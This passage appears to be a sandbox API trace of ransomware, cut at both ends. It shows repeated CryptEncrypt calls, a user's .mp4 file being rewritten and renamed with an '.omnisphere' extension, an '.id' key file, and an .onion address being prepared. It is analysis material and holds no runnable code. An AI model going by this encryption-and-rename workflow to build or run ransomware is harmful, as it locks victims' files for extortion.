pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.282] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.282] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.282] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.282] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.283] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.283] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.283] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.283] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.283] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.283] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.283] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.283] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.283] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.283] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.283] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.283] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.283] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.283] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.283] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.283] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.283] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.283] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.283] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.283] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.284] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.284] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.284] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.284] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.284] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.284] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.284] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.284] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.284] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.284] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.284] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.284] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.284] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.284] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.284] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.284] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.284] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.284] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.284] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.284] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.284] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.285] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.285] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.285] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.285] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.285] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.285] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.285] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.285] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.285] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.285] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.285] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.285] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.285] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.285] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.285] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.285] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.285] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.285] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.285] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.285] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.286] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.286] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.286] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.286] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.286] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.286] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.286] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.286] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.286] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.286] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.286] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.286] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.286] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.286] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.286] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.286] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.286] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.286] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.286] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.286] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.287] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.287] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.287] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.287] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.287] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.287] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.287] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.287] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.287] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.289] CryptDestroyKey (hKey=0x1639ae8) returned 1 [0164.289] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0164.289] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xc30a, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0164.289] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0164.289] GetProcessHeap () returned 0x1600000 [0164.289] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x280) returned 0x17750a0 [0164.289] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\liXGae7sT bG6dkDjhlr.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\lixgae7st bg6dkdjhlr.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\liXGae7sT bG6dkDjhlr.mp4.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\lixgae7st bg6dkdjhlr.mp4.omnisphere")) returned 1 [0164.290] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\liXGae7sT bG6dkDjhlr.mp4.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\liXGae7sT bG6dkDjhlr.mp4.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\liXGae7sT bG6dkDjhlr.mp4.omnisphere.id" [0164.290] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\liXGae7sT bG6dkDjhlr.mp4.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\lixgae7st bg6dkdjhlr.mp4.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0164.291] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0164.292] CloseHandle (hObject=0x3bc) returned 1 [0164.295] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0164.296] CloseHandle (hObject=0x380) returned 1 [0164.296] SetEndOfFile (hFile=0x39c) returned 1 [0164.296] FlushFileBuffers (hFile=0x39c) returned 1 [0164.348] CloseHandle (hObject=0x39c) returned 1 [0164.348] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\liXGae7sT bG6dkDjhlr.mp4" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0164.349] GetProcessHeap () returned 0x1600000 [0164.349] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1775328 [0164.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, 